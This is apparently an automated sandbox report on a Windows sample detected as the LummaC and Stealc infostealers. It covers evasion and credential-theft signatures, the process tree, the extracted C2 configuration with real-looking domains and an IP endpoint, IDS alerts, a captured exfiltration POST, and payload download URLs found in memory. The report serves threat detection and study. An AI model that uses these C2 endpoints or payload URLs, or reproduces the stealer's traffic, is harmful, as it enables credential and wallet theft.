Edit tour

Windows Analysis Report
XNtOBQ5NHr.exe

Overview

General Information

Sample name:	XNtOBQ5NHr.exe renamed because original name is a hash value
Original sample name:	52ae89a2cfa207a72090d1c21358b0b1.exe
Analysis ID:	1578936
MD5:	52ae89a2cfa207a72090d1c21358b0b1
SHA1:	00d733cc6f8387ddda8b7abaf0849738a7dfcae9
SHA256:	91d232a4af8429a9495292eac11577d6f7a6e878fd7e34fb8ba9db45149efb85
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to detect virtual machines (SIDT)

Contains long sleeps (>= 3 min)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

XNtOBQ5NHr.exe (PID: 5828 cmdline: "C:\Users\user\Desktop\XNtOBQ5NHr.exe" MD5: 52AE89A2CFA207A72090D1C21358B0B1)

I8TEVW54DAWA7LANTKTUH8I1LE.exe (PID: 2364 cmdline: "C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe" MD5: ED267F8F886C1D23165754F5C17B852D)

YYVZHLAZ7NPNQKZ17XJO.exe (PID: 5176 cmdline: "C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe" MD5: A0956C9F9C719B85668C6F8B85F89A5B)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Threatname: LummaC

{"C2 url": ["grannyejh.lat", "sweepyribs.lat", "rapeflowwj.lat", "sustainskelet.lat", "aspecteirs.lat", "energyaffai.lat", "discokeyus.lat", "crosshuaht.lat", "necklacebudi.lat"], "Build id": "PsFKDg--pablo"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2258221249.000000000125C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2502379431.0000000000081000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000003.2459814389.0000000004DC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2228919142.000000000125C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2258081562.000000000125C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2504654866.000000000102E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: XNtOBQ5NHr.exe PID: 5828	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: XNtOBQ5NHr.exe PID: 5828	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: XNtOBQ5NHr.exe PID: 5828	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: YYVZHLAZ7NPNQKZ17XJO.exe PID: 5176	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: YYVZHLAZ7NPNQKZ17XJO.exe PID: 5176	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 6 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:53:07.096276+0100	2028371	3	Unknown Traffic	192.168.2.5	49704	172.67.197.170	443	TCP
2024-12-20T16:53:09.171759+0100	2028371	3	Unknown Traffic	192.168.2.5	49705	172.67.197.170	443	TCP
2024-12-20T16:53:11.755854+0100	2028371	3	Unknown Traffic	192.168.2.5	49706	172.67.197.170	443	TCP
2024-12-20T16:53:14.710455+0100	2028371	3	Unknown Traffic	192.168.2.5	49707	172.67.197.170	443	TCP
2024-12-20T16:53:17.063881+0100	2028371	3	Unknown Traffic	192.168.2.5	49708	172.67.197.170	443	TCP
2024-12-20T16:53:19.845455+0100	2028371	3	Unknown Traffic	192.168.2.5	49710	172.67.197.170	443	TCP
2024-12-20T16:53:23.245594+0100	2028371	3	Unknown Traffic	192.168.2.5	49719	172.67.197.170	443	TCP
2024-12-20T16:53:26.914392+0100	2028371	3	Unknown Traffic	192.168.2.5	49732	172.67.197.170	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:53:07.930068+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49704	172.67.197.170	443	TCP
2024-12-20T16:53:10.072337+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49705	172.67.197.170	443	TCP
2024-12-20T16:53:27.753242+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49732	172.67.197.170	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:53:07.930068+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49704	172.67.197.170	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:53:10.072337+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49705	172.67.197.170	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:53:07.096276+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.5	49704	172.67.197.170	443	TCP
2024-12-20T16:53:09.171759+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.5	49705	172.67.197.170	443	TCP
2024-12-20T16:53:11.755854+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.5	49706	172.67.197.170	443	TCP
2024-12-20T16:53:14.710455+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.5	49707	172.67.197.170	443	TCP
2024-12-20T16:53:17.063881+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.5	49708	172.67.197.170	443	TCP
2024-12-20T16:53:19.845455+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.5	49710	172.67.197.170	443	TCP
2024-12-20T16:53:23.245594+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.5	49719	172.67.197.170	443	TCP
2024-12-20T16:53:26.914392+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.5	49732	172.67.197.170	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:53:29.220535+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	49739	185.215.113.16	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:53:05.729652+0100	2058360	1	Domain Observed Used for C2 Detected	192.168.2.5	62901	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:53:05.588267+0100	2058364	1	Domain Observed Used for C2 Detected	192.168.2.5	62707	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:53:05.354443+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.5	50834	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:53:21.384761+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49710	172.67.197.170	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:53:44.453273+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49774	185.215.113.206	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:53:23.255674+0100	2843864	1	A Network Trojan was detected	192.168.2.5	49719	172.67.197.170	443	TCP

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: discokeyus.lat

Source: XNtOBQ5NHr.exe, 00000000.00000003.2385786986.00000000012BF000.00000004.00000020.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2385971258.000000000125C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: XNtOBQ5NHr.exe, 00000000.00000003.2385786986.00000000012BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/)
Source: XNtOBQ5NHr.exe, 00000000.00000003.2385811865.00000000012B6000.00000004.00000020.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2385786986.00000000012BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2385811865.00000000012B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe&
Source: XNtOBQ5NHr.exe, 00000000.00000003.2385811865.00000000012B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: XNtOBQ5NHr.exe, 00000000.00000003.2385811865.00000000012B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe)
Source: YYVZHLAZ7NPNQKZ17XJO.exe, 00000004.00000002.2504654866.000000000102E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: YYVZHLAZ7NPNQKZ17XJO.exe, 00000004.00000002.2504654866.0000000001089000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: YYVZHLAZ7NPNQKZ17XJO.exe, 00000004.00000002.2504654866.0000000001089000.00000004.00000020.00020000.00000000.sdmp, YYVZHLAZ7NPNQKZ17XJO.exe, 00000004.00000002.2504654866.000000000102E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: YYVZHLAZ7NPNQKZ17XJO.exe, 00000004.00000002.2504654866.0000000001089000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php)
Source: YYVZHLAZ7NPNQKZ17XJO.exe, 00000004.00000002.2504654866.0000000001089000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: YYVZHLAZ7NPNQKZ17XJO.exe, 00000004.00000002.2504654866.0000000001089000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/$(
Source: YYVZHLAZ7NPNQKZ17XJO.exe, 00000004.00000002.2504654866.0000000001089000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpU
Source: YYVZHLAZ7NPNQKZ17XJO.exe, 00000004.00000002.2504654866.0000000001089000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpm
Source: YYVZHLAZ7NPNQKZ17XJO.exe, 00000004.00000002.2504654866.0000000001089000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/y(M
Source: XNtOBQ5NHr.exe, 00000000.00000003.2200453529.0000000005CCF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: XNtOBQ5NHr.exe, 00000000.00000003.2200453529.0000000005CCF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: XNtOBQ5NHr.exe, 00000000.00000003.2228919142.000000000128C000.00000004.00000020.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2258081562.000000000128C000.00000004.00000020.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2146214121.000000000128C000.00000004.00000020.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2276129121.0000000001297000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: XNtOBQ5NHr.exe, 00000000.00000003.2200453529.0000000005CCF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: XNtOBQ5NHr.exe, 00000000.00000003.2200453529.0000000005CCF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: XNtOBQ5NHr.exe, 00000000.00000003.2200453529.0000000005CCF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: XNtOBQ5NHr.exe, 00000000.00000003.2200453529.0000000005CCF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: XNtOBQ5NHr.exe, 00000000.00000003.2200453529.0000000005CCF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: XNtOBQ5NHr.exe, 00000000.00000003.2200453529.0000000005CCF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: XNtOBQ5NHr.exe, 00000000.00000003.2200453529.0000000005CCF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: XNtOBQ5NHr.exe, 00000000.00000003.2200453529.0000000005CCF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: XNtOBQ5NHr.exe, 00000000.00000003.2200453529.0000000005CCF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: XNtOBQ5NHr.exe, 00000000.00000003.2147203582.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2147131131.0000000005C4E000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2147300283.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: XNtOBQ5NHr.exe, 00000000.00000003.2227090314.0000000005CAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: XNtOBQ5NHr.exe, 00000000.00000003.2227090314.0000000005CAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: XNtOBQ5NHr.exe, 00000000.00000003.2147203582.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2147131131.0000000005C4E000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2147300283.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: XNtOBQ5NHr.exe, 00000000.00000003.2147203582.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2147131131.0000000005C4E000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2147300283.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: XNtOBQ5NHr.exe, 00000000.00000003.2147203582.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2147131131.0000000005C4E000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2147300283.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: XNtOBQ5NHr.exe, 00000000.00000003.2227090314.0000000005CAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: XNtOBQ5NHr.exe, 00000000.00000003.2227090314.0000000005CAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: XNtOBQ5NHr.exe, XNtOBQ5NHr.exe, 00000000.00000003.2258221249.000000000125C000.00000004.00000020.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2258310109.00000000012C2000.00000004.00000020.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2228919142.000000000125C000.00000004.00000020.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2385786986.00000000012BF000.00000004.00000020.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2146083192.0000000001232000.00000004.00000020.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2146083192.000000000125C000.00000004.00000020.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2258022459.0000000005C9E000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2258737515.00000000012C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/
Source: XNtOBQ5NHr.exe, 00000000.00000003.2146083192.0000000001232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/$
Source: XNtOBQ5NHr.exe, 00000000.00000003.2199882480.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2199993766.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2200066123.0000000005C9D000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2258022459.0000000005C9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/SIPk
Source: XNtOBQ5NHr.exe, 00000000.00000003.2199882480.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2146214121.000000000124A000.00000004.00000020.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2258310109.00000000012CF000.00000004.00000020.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2146083192.0000000001248000.00000004.00000020.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2258081562.000000000122B000.00000004.00000020.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2199993766.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2200066123.0000000005C9D000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2385971258.000000000125C000.00000004.00000020.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2146214121.000000000128C000.00000004.00000020.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2276072773.00000000012CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/api
Source: XNtOBQ5NHr.exe, 00000000.00000003.2258310109.00000000012CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/api18
Source: XNtOBQ5NHr.exe, 00000000.00000003.2199882480.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2199993766.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2200066123.0000000005C9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/apiKExSFt
Source: XNtOBQ5NHr.exe, 00000000.00000003.2146214121.000000000128C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/apip(
Source: XNtOBQ5NHr.exe, 00000000.00000003.2276072773.00000000012BE000.00000004.00000020.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2385786986.00000000012BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/h
Source: XNtOBQ5NHr.exe, 00000000.00000003.2147203582.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2147131131.0000000005C4E000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2147300283.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: XNtOBQ5NHr.exe, 00000000.00000003.2147203582.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2147131131.0000000005C4E000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2147300283.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: XNtOBQ5NHr.exe, 00000000.00000003.2147203582.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2147131131.0000000005C4E000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2147300283.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: XNtOBQ5NHr.exe, 00000000.00000003.2227090314.0000000005CAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: XNtOBQ5NHr.exe, 00000000.00000003.2201442496.0000000005F31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: XNtOBQ5NHr.exe, 00000000.00000003.2201442496.0000000005F31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: XNtOBQ5NHr.exe, 00000000.00000003.2229030888.0000000005CA2000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2257959866.0000000005CA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba668
Source: XNtOBQ5NHr.exe, 00000000.00000003.2227090314.0000000005CAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: XNtOBQ5NHr.exe, 00000000.00000003.2147203582.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2147131131.0000000005C4E000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2147300283.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: XNtOBQ5NHr.exe, 00000000.00000003.2147203582.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2147131131.0000000005C4E000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2147300283.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
